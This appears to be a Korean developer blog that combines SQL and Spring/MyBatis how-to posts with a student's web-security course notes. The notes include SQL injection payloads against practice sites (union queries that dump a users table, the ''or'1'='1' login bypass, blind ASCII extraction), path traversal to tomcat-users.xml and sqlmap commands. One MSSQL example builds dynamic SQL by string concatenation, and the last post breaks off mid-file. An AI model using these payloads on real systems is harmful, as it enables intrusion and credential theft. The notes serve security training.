[MSSQL] 로우 합치기 STUFF, FOR XML PATH, mysql group_concat 기능


개발을 하다보면 가끔씩 필요한 기능이다.


중복되는 로우가 있는데 조인하면 다른 데이터들도 같이 나올때


중복되는거 합치고 여러로우로 된 데이터들만 한 컬럼에 한줄로 표현하고 싶을때가 있다.



ID 

data 

1 

 사과

1 

배 

 2

망고 

2 

사과 

2 

배 


이런 경우


ID 

data 

1 

사과,배 

 2

망고,사과,배 


이렇게 뽑아내고 싶을때 사용하는 방법이다.



여기서 사용할건 STUFF와 FOR XML PATH다


간단하게 그냥 예제를 보도록 하자


1
2
3
4
5
6
7
8
9
10
11
12
13
SELECT 
    DISTINCT ID, -- id 중복 제거
    STUFF(( 
        SELECT 
            ',' + DATA
        FROM 
            dataTbl b 
        WHERE 
            b.ID = a.ID 
            FOR XML PATH('') ),1,1,'') AS NAME 
FROM 
    dataTbl a
 
cs


이런식으로 사용하면 된다.


dataTbl이 단일 테이블이 아니라 그냥 괄호로 묶어서 조인해놓은 서브쿼리를 사용해도 무방하다.



저작자표시

'Yame Programmer > SQL' 카테고리의 다른 글

[MSSQL] 프로시저 트리거 while 반복문 사용 방법, 변수를 컬럼명으로 사용 하는 방법  (0) 2017.05.17
[MSSQL]Insert실행시 자동증가되는 IDENTITY값 바로 가져오기  (0) 2017.04.26
[Oracle MyBatis] 오라클 마이바티스에서 다중 insert 하는 방법(insert all)  (0) 2017.01.16
[Mybatis] getter for property named 에러 해결방법  (3) 2017.01.11
[MyBatis] Oracle 부적합한 열유형 null 처리 방법 jdbcType=VARCHAR 안쓰기  (2) 2017.01.11

[MSSQL] 날짜,시간 데이터 생성하기



날짜나 시간단위의 데이터가 로우로 들어 오는 경우


간혹 데이터 자체가 누락 되는 경우가 있다


시간 순서대로 보여줘야 하는데 데이터 누락으로 로우가 없어 데이터가 땡겨져버리는 경우가 있기 때문에


그런종류의 데이터는 별도로 시간이나 날짜 로우를 만들어 낸 후 거기에 끼워 맞추는 식으로 가져 온다.



oracle을 사용할때는 별 문제 없이 만들었는데


mssql에서는 날짜나 시간을 만들어 내는 쿼리를 몰라 한참을 해매다 알아낸 방법이다


1. 날짜+시간 단위 생성 방법


1
2
3
4
5
6
7
8
9
10
11
12
13
DECLARE @start_date DATETIME = '2018-07-12 00:00:00.000'; -- 시작시간
DECLARE @end_date DATETIME = '2018-07-13 00:00:00.000'; -- 
 
WITH    AllDays
          AS ( SELECT   @start_date AS [Date], 1 AS [level]
               UNION ALL
               SELECT   DATEADD(hour, 1, [Date]), [level] + 1
               FROM     AllDays
               WHERE    [Date] < @end_date )
 
 
     SELECT [Date], [level]
     FROM   AllDays OPTION (MAXRECURSION 0)
cs



1-1 결과값






위와 같이 쿼리를 짜주게 되면 해당 범위만큼의 날짜,시간을 생성해 준다



2. 날짜단위 생성방법


1
2
3
4
5
6
7
8
DECLARE @Date1 DATE, @Date2 DATE
SET @Date1 = '20150430'
SET @Date2 = '20150601'
 
SELECT DATEADD(DAY,number+1,@Date1) [Date]
FROM master..spt_values
WHERE type = 'P'
AND DATEADD(DAY,number+1,@Date1) < @Date2
cs


2-1 결과값






이런 결과를 얻어낼 수 있다.



와...


그런데 이거 포스팅하다가 실제로 프로젝트에 써야 하는 쿼리 실수로 날려먹음...



다시 짜야 되는데 스트레스 엄청받는다.


저작자표시 비영리

'Yame Daily Life' 카테고리의 다른 글

[라그M] 니플헤임 안개숲 초월 퀘스트 NPC 위치!  (0) 2018.11.12
[라그M] 프리 비숍 룬판 정보(5.0 추가)  (2) 2018.10.10
[초대장] 초대장 배포. 마감 되었습니다.  (26) 2017.09.11
[초대장] 티스토리 초대장 11장 배포합니다 [마감완료]  (40) 2017.07.28
티스토리 주제가 명확한 글을 쓰는 방법  (1) 2017.07.20

[웹보안] 웹보안 2일차 - 오전


웹보안 2일차 오전 수업 내용 입니다.


아래 내용에 대한 실습은 


http://demo.testfire.net/ 여기나

http://testphp.vulnweb.com/ 여기나


웹고트 등으로 허용된 곳에서 사용하세요


사용사이트에서 쓰다가 해당 회사 보안팀이나 관리자한테 연락 옵니다 ㅋㅋㅋ


참고 사이트


http://www.moi.go.kr/


행정 자치부


정책자료 -> 간행물 ->  시큐어코딩 검색


http://www.moi.go.kr/frt/bbs/type001/commonSelectBoardArticle.do?bbsId=BBSMSTR_000000000012&nttId=42152


C/JAVA 시큐어 코딩 가이드 게시글이 있다


참고문헌

CWE

https://cwe.mitre.org/



https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project


웹보안과 관련된 레퍼런스 가이드들이 많이 나와있다

근데 다 영어임





어차피 크롬이 번역해주거나 개발자라면 알아먹을 수 있는 말들 뿐이니까 걱정은 하지 말고


저길 본인이 들어가서 확인 할 만큼 의지가 있는지가 더 중요함.


나는 여기 적어 놓고 안들어 갈 것 같음.





SQL Injection


1. 에러기반

1' or 1=1


http://testphp.vulnweb.com/listproducts.php?cat=1


일부러 에러 내서 에러메세지 나타나는지 확인

http://testphp.vulnweb.com/listproducts.php?cat=1'




2. Union 기반

1 union Select * ~


ex)  http://www.site.com/news.php?id=5 union all select 1, table_name, 3 from information_schema.tables





DBMS에 대한 정보가 없으니 일단 필드 개수나 정보부터 캐와 보도록 해보자

http://testphp.vulnweb.com/listproducts.php?cat=1 union all select null#


메세지가


Error: The used SELECT statements have a different number of columns Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /hj/var/www/listproducts.php on line 74


이렇게 나옴


http://testphp.vulnweb.com/listproducts.php?cat=1 union all select null, null# 


http://testphp.vulnweb.com/listproducts.php?cat=1 union all select null, null, null, null# 

http://testphp.vulnweb.com/listproducts.php?cat=1 union all select null, null, null, null, null# 

http://testphp.vulnweb.com/listproducts.php?cat=1 union all select null, null, null, null, null, null, null, null, null, null, null# 


null 11개 입력하니까 얼렸다


그럼 컬럼이 11개라는 얘기


http://testphp.vulnweb.com/listproducts.php?cat=1 union all  select 1,2,3,4,5,6,7,8,9,10,11# 


맨 마지막 으로 스크롤 내려보면 뭔 숫자들이 나왔다


2,7,9 라는 숫자가 있는데 여기에 공격문자를 넣어서 정보 취득이 가능 하다는 뜻




http://testphp.vulnweb.com/listproducts.php?cat=1 union all  select 1,user(),3,4,5,6,7,8,9,10,11# 



아까 숫자 2가 출력된 자리에


계정정보 acuart@localhost 나타났다




http://testphp.vulnweb.com/listproducts.php?cat=1 union all  select 1,group_concat(table_name),3,4,5,6,7,8,9,10,11 from information_schema.tables where table_schema=database()# 




2가 들어갔던 자리에


artists,carts,categ,featured,guestbook,pictures,products,users  라는 정보가 나타났다


아마 저게 테이블 이름 인 것 같다


users 라는 중요한 정보가 있을것만 같은 테이블을 공략해 보자


http://testphp.vulnweb.com/listproducts.php?cat=1 union select 1,group_concat(column_name),3,4,5,6,7,8,9,10,11 from information_schema.columns where table_name='users'# 



uname,pass,cc,address,email,name,phone,cart 라는 컬럼 정보가 표시된다


http://testphp.vulnweb.com/listproducts.php?cat=1 union select 1,uname,3,4,5,6,address,8,pass,10,11 from users# 


2번과 9번이 들어갔던 자리에 사용자의 ID와 PW가 나타난다


이 정보로 signup으로 들어가 로그인을 하면 접속이 되는 것을 확인 할 수 있다.









3. Blind기반

1, 1 and 1=0


악의적인 문자열 삽입 대신 쿼리 결과에 따라 정보를 취득 하는 기법이다.

덮어놓고 노가다 한다


http://testphp.vulnweb.com/listproducts.php?cat=1 


1개 문자열 추출

select * from test where id = 1 and (식) 116(t)

select * from test where id = 1 and (식) 101(e)



문자열의 범위를 확인


select * from test where id = 1 and (식) > 47

select * from test where id = 1 and (식) < 58



크고 작음의 true false 확인을 통해 범위를 좁혀 나간다.


SELECT ASCII(SUBSTRING(name,1,1)) FROM pins WHERE cc_number = 4321432143214321 > 90

이런식






1. 동적

- scanray, sqlmap


2. 정적

- findbugs, security, PMD


select ..

from ..

where name = $name (sql 인젝션 취약)


..


where name = #name (sql 인젝션 안취약)




이제 webgoat를 해보자


저번주에도 했지만 또 한다.








저작자표시 비영리

'Yame Programmer > 웹보안' 카테고리의 다른 글

[웹보안] 웹보안 3일차 - 오후  (0) 2017.06.03
[웹보안] 웹보안 3일차 - 오전  (0) 2017.06.03
[웹보안] 웹보안 2일차 - 오후  (0) 2017.05.27
[웹보안] 웹보안 1일차 - 오후  (0) 2017.05.20
[웹보안] 웹보안 1일차 - 오전  (0) 2017.05.20

[웹보안] 웹보안 1일차 - 오후


쌍용 강북 센터 모의해킹 및 웹보안


웹보안 관련 강의만 세번째 듣는다.


처음엔 KISA에서 듣고 두번쨰는 현대 모비스에서 듣고


세번째로 듣는데 내용은 대동소이 하다






1. 기술적 진단

 - 웹취약점 진단 vs 소스코드 진단



1)웹 취약점 진단


로그인

계정 및 암호 찾기

회원가입

회사소개

공지사항

현장소식



2) 소스코드 진단


정책자료 http://www.moi.go.kr

https://kisa.or.kr




---skip ---


웹취약점 진단기준


https://www.owasp.org

owasp top10, 10개


A1 ~ A10 (스캔레이의 룰정책에 보면 기본적으로 해당 정보가 있다)




진단 기준은 3년단위로 업데이트 된다. - 그러나 굵직한건 거의 동일 내용임



-----------skip -------------


HTTP 프로토콜

request

브라우저/http 프로토콜마다 request셋팅은 달라진다.


request 기타 메소드는 대부분 사용이 안되고 get/post만 가능 하게끔 구성 되어 있다.


restfull서비스 다 허용하면 공격자가 서버에 파일을 변경하거나 입력할 수도 있게 된다.


response (응답)

200: 정상응답

300:페이지이동

400:클라이언트 잘못된 요청

500: 서버쪽 에러


이러한 응답 코드를 노출하게 되면 공격자에게


어느 부분에서 에러가 났는지 알게 해주기 때문에


공격자에게 힌트를 줄 수가 있다.


에러 페이지는 알아서 잘 만들자.






--skip --


http://demo.testfire.net


kisa 관련 보안 수업때 항상 등장하는 사이트.





--skip--


Sql injection


1. 일반  sql 인젝션


http://demo.testfire.net


에서 로그인시에


ID는 대충 누가 봐도 관리자 아이디 일 것 같은 


admin 입력 후


pw는


싱글쿼테이션인 ' 이걸 넣어보고 날려보자


그럼 sql 에러 메세지와 함께 쿼리도 보여 준다


이때 pw입력을


'or'1'='1


이라고 넣어주면


sql에서는 


WHERE ID='admin' AND pw = ''or'1'='1' 


이라고 인식하여 true값을 리턴하게 되며


admin 계정으로 로그인이 된다.





만약 싱글쿼테이션이 url 인코딩되어 전송되는 경우


프록시툴을 이용하여 HTTP 요청을 가로채서 값을 바꾼 후에 전송 한다.




2.블라인드 인젝션


webGoat -- http://localhost./WebGoat/attack?Screen=13&menu=1100




이름의 첫글자가 어떤 글자인지 추측 한다  뒤의 90은 대문자인지 소문자인지 구별하기 위함이며


90보다 작은경우 대문자 90보다 큰 경우 소문자 라고 생각 할 수 있다.


90은 대문자 Z의 아스키 코드값 이다.

1
SELECT ASCII(SUBSTRING(name,1,1)) FROM pins WHERE cc_number = 4321432143214321 > 90
cs



->


1
101 and SELECT ASCII(SUBSTRING(name,1,1)) FROM pins WHERE cc_number = 4321432143214321 > 80
cs




이렇게 날렸을때 리턴되는 값이 밸리드인지 인벨리드인지 보고 글자를 판단 하도록 한다.


이런식으로 반복하다 어느정도 범위가 좁혀지면


1
101 and SELECT ASCII(SUBSTRING(name,1,1)) FROM pins WHERE cc_number = 4321432143214321 = 74
cs


이런식으로 날려준다


74에서 밸리드가 나온다면 아스키코드 74에 해당하는 글자가 4321432143214321라는 


계좌번호의 주인 이름의 첫글자 라는 것을 알 수 있다.


이런식으로 substring 뒤쪽의 숫자를 

1
2
3
ASCII(SUBSTRING(name,1,1)) 
ASCII(SUBSTRING(name,2,1)) 
ASCII(SUBSTRING(name,3,1))
cs


등으로 바꿔가면서  


한글자식 알아내면 해당 계좌번호의


주인 이름을 전부 알아 낼 수 있다.



다운로드 취약점


서버에 중요한 정보인 config 류의 파일이나


권한,DB접속 정보들이 있는 xml파일을 암호화 하거나 추가적인 권한조치를 취하지 않으면


다운로드 취약점이 발견되는 경우 해당 중요정보가 있는 파일을 다운 받아 해당 서버및 웹어플리케이션


중요정보를 공격자가 알 수 있게 된다




http://localhost./WebGoat/attack?Screen=57&menu=200


Bypass a Path Based Access Control Scheme

프록시툴을 이용해 특정 파일을 요청하는 패킷을 가로채


상대경로로 바꾼 후 톰캣 정보를 가져 올 수 있게 된다.


대충 프로젝트 몇개 하다보면 대부분의 웹어플리케이션의 폴더구조는


비슷비슷 하다는걸 알기 때문에 아래와 같이 추측이 가능 하다


ex) File=../../../tomcat/conf/tomcat-users.xml&SUBMIT=View+File


해당 파일의 정확한 위치를 알 수는 없지만 상대경로를 통해 올라가다 보면


얻어걸리기 때문에 중요 정보를 가져 올 수 있다.



서버보안 이전에 어플리케이션에서 저런 상대경로 요청을 막거나 중요 파일의 암호화를


하지 않은 경우 어렵지 않게 중요 정보가 공격자에게 노출 될 수 있다.




sql MAp 사용



sqlmap 타겟의 디비정보를 뽑아오는 유틸


파이썬기반이기 떄문에 파이썬을 설치 후 사용 하자


파이썬 2점대 버전으로 설치 하도록 하자



사용 방법에 대한 관련 블로그

https://brunch.co.kr/@leesmain/8




테스트 사이트


http://testphp.vulnweb.com



SQLMAP 명령어



 sqlmap.py -u http://testphp.vulnweb.com/AJAX/infoartist.php?id=1 -v 3



뒤에 옵션을 -all --batch 로 주면


모든 공격을 다함



Session 


http 는 stateless 프로토콜이다


그런데도 사용 하는 이유는 가볍고 빠르기 때문에


웹서비스에 적합하기 때문이다.


stateless이기 떄문에 클라이언트가 어떤놈인지 구분할줄 몰라서


http 에서 히든태그를 계속 날려줬었다


그런데 그건 보안에 취약하다


그러니까 히든태그에 담는 데이터를


넷스케이프에서 만든 쿠키에 담기 시작했다


그런데 사실 이것도 보안에 안좋음 


클라이언트 로컬에 저장하기 떄문이다. 게다가 문자열정보만 저장 할 수 있다.


정 쿠키를 쓸떄는 httpOnly를 사용 하도록 한다.


그러니까


세션에 담아서 사용 하도록 하자






저작자표시 비영리

'Yame Programmer > 웹보안' 카테고리의 다른 글

[웹보안] 웹보안 3일차 - 오후  (0) 2017.06.03
[웹보안] 웹보안 3일차 - 오전  (0) 2017.06.03
[웹보안] 웹보안 2일차 - 오후  (0) 2017.05.27
[웹보안] 웹보안 2일차 - 오전  (0) 2017.05.27
[웹보안] 웹보안 1일차 - 오전  (0) 2017.05.20

[MSSQL] 프로시저 트리거 while 반복문, 변수값 컬럼명으로 사용하는 방법





1
2
3
4
5
6
7
8
9
10
11
12
declare @colCount int, @colNum int, @columnName CHAR(8) -- 변수 선언
set @colCount = 0
 
while @colCount < 24 -- 반복문 시작
    begin
        SET @columnName = 'T' -- 변수를 컬럼명으로 사용하기 위한 변수
        IF @colCount < 10 BEGIN
            SET @columnName = 'T0' -- 컬럼명이 T00 T01 T02 이런식일때 
        END
        exec ('select ' + @columnName + @colCount + 'into tValData from T_TABLE_NAME')
        set @colCount = @colCount +1 -- 
    end -- 반복문 끝
cs



테이블의 컬럼명이 T00 T01 이런식으로 될떄가 있다.


for문을 돌리고 싶다거나 변수값을 컬럼명으로 사용하고 싶을땐 위와 같이 사용 하면 된다.

저작자표시 비영리

'Yame Programmer > SQL' 카테고리의 다른 글

[MSSQL] 로우 합치기 STUFF, FOR XML PATH, mysql group_concat 기능  (0) 2020.03.12
[MSSQL]Insert실행시 자동증가되는 IDENTITY값 바로 가져오기  (0) 2017.04.26
[Oracle MyBatis] 오라클 마이바티스에서 다중 insert 하는 방법(insert all)  (0) 2017.01.16
[Mybatis] getter for property named 에러 해결방법  (3) 2017.01.11
[MyBatis] Oracle 부적합한 열유형 null 처리 방법 jdbcType=VARCHAR 안쓰기  (2) 2017.01.11

[Spring] MyBatis Batch + Transaction 을 이용한 대용량 SQL작업


마을에서 오크잡는 퀘스트 하고 있는데 갑자기


중간보스를 잡아오라는 퀘스트가 떨어졌다...



일정시간마다 라즈베리파이에서 받아온 원시데이터를 재가공하여


DB에 insert 해주어야 하는 작업


로우수가 적다면 그냥 만들겠지만 대용량 작업일 경우 답이 안나온다.


약 1만건~10만건 정도의 데이터를 날려줘야 하는데 ㅂㄷㅂㄷㅂㄷ


그래서 찾아본 방법은 Batch와 Transaction 을 이용한 대용량 sql 작업



나도 정확히 내가 뭘 한건지도 모르고 그냥 스택오버 플로우, 오키, 전자정부 뒤적거리면서 이것 저것 다 때려 박느라

필요 없는 설정이 있을 수도 있으니 아는 사람은 댓글좀 달아주시길 바랍니다.



1.  XML 설정


1) mapper 설정

context-mapper.xml 파일이나 context-sqlMap.xml 파일에


마이바티스 연동을 위해 만들어놨던 설정을 아래와 같이 바꿔준다.


9번 라인의 batch설정으로 batch 사용이 가능 하도록 하는 듯 하다.


1
2
3
4
5
6
7
8
9
10
<bean id="sqlSession" class="org.mybatis.spring.SqlSessionFactoryBean">
        <property name="dataSource" ref="dataSource" />
        <property name="configLocation" value="classpath:/egovframework/sqlmap/example/sql-mapper-config.xml" />
        <property name="mapperLocations" value="classpath:/egovframework/sqlmap/example/mappers/mssql/*.xml" />
    </bean>
 
    <bean id="sqlSessionTemplate" class="org.mybatis.spring.SqlSessionTemplate" destroy-method="clearCache">
        <constructor-arg index="0" ref="sqlSession" />      
        <constructor-arg index="1" value="BATCH" />
    </bean>
cs



2) datasource 설정

DB접속 정보 작성하는 곳에 트렌젝션메니저 설정을 하는데 이걸 해야 하는 건진 잘 모르겠다.


1
2
3
<bean id="transactionManager" class="org.springframework.jdbc.datasource.DataSourceTransactionManager">
    <property name="dataSource" ref="dataSource"/>
</bean>
cs



3) dispatcher-servlet 설정


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans" 
        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xmlns:p="http://www.springframework.org/schema/p"
        xmlns:context="http://www.springframework.org/schema/context"
        xmlns:mvc="http://www.springframework.org/schema/mvc"
        xmlns:task="http://www.springframework.org/schema/task" 
        xmlns:tx="http://www.springframework.org/schema/tx"
        xsi:schemaLocation="http://www.springframework.org/schema/beans 
                   http://www.springframework.org/schema/beans/spring-beans-4.0.xsd
                http://www.springframework.org/schema/context 
                http://www.springframework.org/schema/context/spring-context-4.0.xsd
                http://www.springframework.org/schema/task
                http://www.springframework.org/schema/task/spring-task.xsd
                http://www.springframework.org/schema/mvc 
                http://www.springframework.org/schema/mvc/spring-mvc-4.0.xsd
                http://www.springframework.org/schema/tx http://www.springframework.org/schema/tx/spring-tx-3.0.xsd">
 
 
<tx:annotation-driven proxy-target-class="true"/>
cs


7번 라인과 17번 라인을 추가해주고 20번라인의 내용을 넣어 주도록 한다.



4) pom.xml


1
2
3
4
5
6
7
8
<!-- 트랜젝션 처리를 위함 -->
        <dependency>
            <groupId>cglib</groupId>
            <artifactId>cglib</artifactId>
            <version>2.2</version>
            <type>jar</type>
            <scope>compile</scope>
        </dependency>
cs



디펜던시에 추가를 해줘야 트랜젝션 처리가 가능한건진 모르겠음. 전자정부 자체에 관련된게 이미 추가 되어 있을 수도 있고

정확히 모르겠음 저건



2. DAO or impl 작성


나는 DAO를 사용하지 않고 공통DAO하나 만들어 놓고 impl에서 바로 쿼리를 날려주는 방식을

좋아 한다.


어차피 DAO에서 특별히 해줄것도 없고.. 해줘야 하는것이 있어도 impl에서 해주면 되니까



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
@Override
    public void updateSchedulerHistoryRow(List<MinHistoryVO> historyList) {
        // TODO Auto-generated method stub
        
       // 트렌젝션 시작
        SqlSession sqlSession = sqlSessionFactory.openSession(ExecutorType.BATCH);
        long startTime = System.currentTimeMillis();
            try {
                
                for (MinHistoryVO list : historyList) {                     
                    sqlSession.update("scheduler.updateSchedulerHistoryRow", list);
                }
 
            } finally {
                sqlSession.flushStatements();
                sqlSession.close();
            }
 
        long endTime = System.currentTimeMillis();
        long resutTime = endTime - startTime;
        System.out.println("트랜젝션 배치" + " 소요시간  : " + resutTime/1000 + "(ms)");
    }
cs



난 이런식으로 작성 했다.


가끔 6번 라인에 ExecutorType.BATCH 이 매개변수를 안넣고 시작 할 수 있는데

그러면 트렌젝션 안돌고 커넥션 다 찍으면서 돌게 된다.


저렇게 해도 수만건이 돌게 되면 세션에저장될 데이터들이 넘쳐흘러서 그런지 버벅거릴때가 있는데


그럴땐 컨트롤러에서 조금씩 끊어서 날려 주도록 하자



3. controller


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
 
        //컨트롤러에서 일정 개수 단위로 끊어서 날려 준다.
        int insertCount = 0;
        List<MinHistoryVO> divHisList  = new ArrayList<MinHistoryVO>();
        for(int hisCount = 0, hisSize = historyList.size(); hisCount < hisSize; hisCount++){
            MinHistoryVO _tempData = new MinHistoryVO();
            _tempData = historyList.get(hisCount);
            divHisList.add(_tempData);
            if(insertCount == 1000 || hisSize-1 == hisCount){
                schedulerService.updateSchedulerHistoryRow(divHisList); // 트렌젝션
                divHisList =  new ArrayList<MinHistoryVO>();
                insertCount = 0;
            }
            else{                    
                insertCount++;
            }
        }
cs



while문 사용하는게 익숙하지 않아서 나는 for문을 주로 사용 한다.

리스트에 잔뜩 있는 데이터들을 새로운 작은 바구니에 담아서 끊어서 날려준다.








이렇게 하면 MsSql Server 2005버전 기준 1만건 insert하는데 5초정도 걸린다.


저기에  마이바티스 foreach까지 써서 벌크인서트 하면 시간은 더 단축 된다.


원시데이터를 쪼개서 60개컬럼에 따로 박아야 하기 때문에


넘겨주는 파라미터 개수 2100개 제한이 있어서 제대로 사용 못했는데


여러개로 쪼갠다음에  Mybatis foreach 돌려서 한번에 날려주면 시간은


훨씬 더더더더더 단축 된다.





저작자표시 비영리

'Yame Programmer > 전자정부프레임워크' 카테고리의 다른 글

[JXLS] Cannot add merged region to sheet because it overlaps with an existing merged region 오류 해결 방법  (5) 2017.09.19
[JXLS] JAVA SPRING 데이터 엑셀출력 및 셀병합, merge 하는 방법 에러 해결방법  (15) 2017.09.19
[톰캣 서버] 같은 IP(도메인) 다른 포트일때 세션 공유 로그인 튕김 현상  (0) 2017.02.10
[Spring, Log] 로그가 안보일때, 쿼리가 안나타날때 로그 출력하는 방법  (1) 2016.10.05
[JSTL] if문 else(choose)문 사용하는 방법  (2) 2016.07.04

oracle MyBatis에서 다중 Insert 하는 방법



mssql에서 oracle로 마이그레이션을 하는 도중 하나의 맵핑된 쿼리 안에서


여러개의 행을 insert하는 것에서 문제가 발생했다


mssql을 사용할떈 그냥 insert문을 여러개 쓰는것 만으로 한번에 여러 행을 입력 할 수 있었는데


오라클에선 구문오류가 발생하게 된다.


그렇게 방법을 찾다가 발견한 방법은


INSERT ALL 이다



사용법은 아주아주 굉장히 간단하다.


일단 MyBatis에서 여러 데이터를 맵형태로 보내 다이나믹 쿼리로 만드는 방법은


아래 링크를 참고하고

2015/07/09 - [Yame Programmer/전자정부프레임워크] - [ibatis] 동적쿼리 생성 및 outOfBoundsException 에러


ibatis와 mybatis의 사용방법이 상이하긴 하지만 맥락은 같으니 참고하면 좋을 것이다.




쿼리문은 아래와 같이 사용 하면 된다.


1
2
3
4
5
6
7
8
9
10
    <insert id="insertMtrlOrderList" parameterType="java.util.Map">
        <foreach collection="list" item="item" index="index"  open="INSERT ALL " separator=" " close="SELECT * FROM DUAL" > 
         into FM_MATERIALS_ORDER_LIST(MTRL_ID, MTRL_ORDER_ID, 
            MTRL_ENTERPRISE, UNIT_COST, MTRL_ORD_QUANTITY, APPLY_DATE)
        values
            (#{item.MTRL_ID}, #{item.MTRL_ORDER_ID}, 
        #{item.MTRL_ENTERPRISE}, #{item.UNIT_COST}, 
        #{item.MTRL_ORD_QUANTITY}, SYSDATE)
        </foreach>
    </insert>
cs



시작할떄 INSERT ALL 을 써주고 본 쿼리으 insert문은 insert를 제외한 into부터 시작해서 작성하면 끝


역시 사람은 아는게 많아야 손발이 고생을 안하는 것 같다.

저작자표시 비영리

'Yame Programmer > SQL' 카테고리의 다른 글

[MSSQL] 프로시저 트리거 while 반복문 사용 방법, 변수를 컬럼명으로 사용 하는 방법  (0) 2017.05.17
[MSSQL]Insert실행시 자동증가되는 IDENTITY값 바로 가져오기  (0) 2017.04.26
[Mybatis] getter for property named 에러 해결방법  (3) 2017.01.11
[MyBatis] Oracle 부적합한 열유형 null 처리 방법 jdbcType=VARCHAR 안쓰기  (2) 2017.01.11
[MSSQL] MSSQL 날짜 포맷 변환표  (0) 2017.01.09

Oracle MERGE INTO를 활용해 값이 있는지 확인후 insert , update , delete ,selete 하는 방법 


이전에 포스팅 했던 MSSQL의 EXISTS 기능을 오라클에서 사용하는 방법이다


2016/08/12 - [Yame Programmer/SQL] - [MSSQL] 값이 존재하는지 확인 후 update insert [EXISTS] 활용



MSSQL을 사용했던 프로젝트를 Oracle로 마이그레이션 하게 되면서 다시 사용하게 되었다.


입사 초기에 Oracle를 사용하다 이후 쭉 MSSQL만 써서 기억이 가물가물 했다ㅋㅋ



1. 기본 포맷


1
2
3
4
5
6
MERGE INTO 테이블명  USING ( 서브쿼리 ) 
ON  ( 조건 )
WHEN MATCHED THEN 
조건에 값이 있는 경우 실행할 쿼리 
WHEN NOT MATCHED THEN 
조건에 값이 없는 경우 실행할 쿼리 
cs



2. 간단한 예제


1) 서브쿼리 없이 사용


1
2
3
4
5
6
7
8
9
10
11
12
13
MERGE INTO 
    TABLENAME  
USING DUAL 
    ON (PK_CD = 'PKCD001'  AND DATA_NAME = 'dataName')
    WHEN MATCHED THEN     
        UPDATE SET     
                DATA_COL1 = '업데이트 내용 1',             
                DATA_COL2 = '업데이트 내용 2',             
                DATA_COL3 = '업데이트 내용 3',         
        
    WHEN NOT MATCHED THEN
        INSERT (PK_CD, DATA_NAME,  DATA_COL1, DATA_COL2, DATA_COL3)
        VALUES('PKCD001', 'dataName', '넣을 내용1', '넣을 내용3', '넣을 내용3')
cs




2) 서브쿼리 사용

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
MERGE INTO 
    TABLE_NAME  TARGETTB
USING(
    SELECT 
        CHECKTB.PK_CD
        ,CHECKTB.DATA_NAME
    FROM
        TABLE_NAME CHECKTB
     LEFT JOIN
        JOIN_TB JT
    ON
        JT.DATA = CHECKTB.DATA 
        ) CHECK
 
    ON (TARGETTB.PK_CD = CHECK.PK_CD    AND   TARGETTB.DATA_NAME = CHECK.DATA_NAME)
    WHEN MATCHED THEN     
        UPDATE SET     
                DATA_COL1 = '업데이트 내용 1',             
                DATA_COL2 = '업데이트 내용 2',             
                DATA_COL3 = '업데이트 내용 3',         
        
    WHEN NOT MATCHED THEN
        INSERT (PK_CD, DATA_NAME,  DATA_COL1, DATA_COL2, DATA_COL3)
        VALUES('PKCD001', 'dataName', '넣을 내용1', '넣을 내용3', '넣을 내용3')
cs

ㅇ

꼭 INSERT UPDATE만 넣을 수 있는게 아니라 SELECT DELETE를 넣어서 사용 할 수도 있다.




저작자표시 비영리

'Yame Programmer > SQL' 카테고리의 다른 글

[MyBatis] Oracle 부적합한 열유형 null 처리 방법 jdbcType=VARCHAR 안쓰기  (2) 2017.01.11
[MSSQL] MSSQL 날짜 포맷 변환표  (0) 2017.01.09
[sql 튜닝] 이론 임시 내용[하드 파싱 소프트 파싱 캐시 블락]  (0) 2016.10.27
[sql튜닝] cmd 명령문 실행 계획  (0) 2016.10.27
[Oracle] 값이 존재하는지 확인 후 insert, update 하기  (0) 2016.10.05

보통 전자정부같은 Spring기반의 프로젝트를 할때 에러가 나던가 혹은 서버에서 어떤 액션이 일어나면 이클립스 콘솔창에


많은 정보들이 후두두둑 하고 올라간다.


내가 날린 쿼리가 무엇인지, 내가 요청한 URL은 무엇있지 버그나 오류가 있을땐 어떤 오류인지 온갖 정보들이 나타나는데


가끔 쿼리를 실행해도 어떤 쿼리를 실행했는지 나타나지 않는 경우가 있다. 단지 오류가 났을때만 콘솔창에 로그를 뿌려주는 경우


이럴때 버그가 있더라도 시스템에서 오류가 나지 않는다면  어떤 쿼리를 실행시켰는지 어떤 url을 요청했는지 알기 힘들게 된다.



이런경우의 대부분은 로깅 프로퍼티의 설정 레벨이 warn 정도로 되어 있는 경우 인것 같다.


정상적인 쿼리도 콘솔창에 보이게 할수 있도록 설정하는 방법을 알아보자.



log4j를 쓰던 log4j2를 쓰던 logback를 쓰던 설정 xml파일의 이름엔 [log]가 들어간다


프로젝트의 구성,설계에 따라 해당 xml파일은 리소스에 들어가는 경우도 있고 web-inf에 들어가는 경우도 있다


파일을 열어 보면


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE log4j:configuration SYSTEM "log4j.dtd">
<log4j:configuration 
    xmlns:log4j="http://jakarta.apache.org/log4j/" 
    debug="false">
    
    <appender name="console" class="org.apache.log4j.ConsoleAppender">
        <layout class="org.apache.log4j.PatternLayout">
            <param name="ConversionPattern" value="%d %5p [%c] %m%n" />
        </layout>   
    </appender>
    
    <logger name="egovframework" additivity="false">
        <level value="DEBUG"/>
        <appender-ref ref="console"/>
    </logger>
 
    <!-- log SQL with timing information, post execution -->
    <logger name="jdbc.sqltiming" additivity="false">
        <level value="WARN" />
        <appender-ref ref="console" />
    </logger>
 
    <logger name="jdbc.audit" additivity="false">
        <level value="WARN" />
        <appender-ref ref="console" />
    </logger>
    
    <logger name="jdbc.resultset" additivity="false">
        <level value="WARN" />
        <appender-ref ref="console" />
    </logger>
    
    <logger name="org.springframework" additivity="false">
        <level value="INFO" />
        <appender-ref ref="console" />
    </logger>
    
    <logger name="java.sql" additivity="false">
        <level value="WARN"/> 
        <appender-ref ref="console"/> 
    </logger> 
    
    <root>
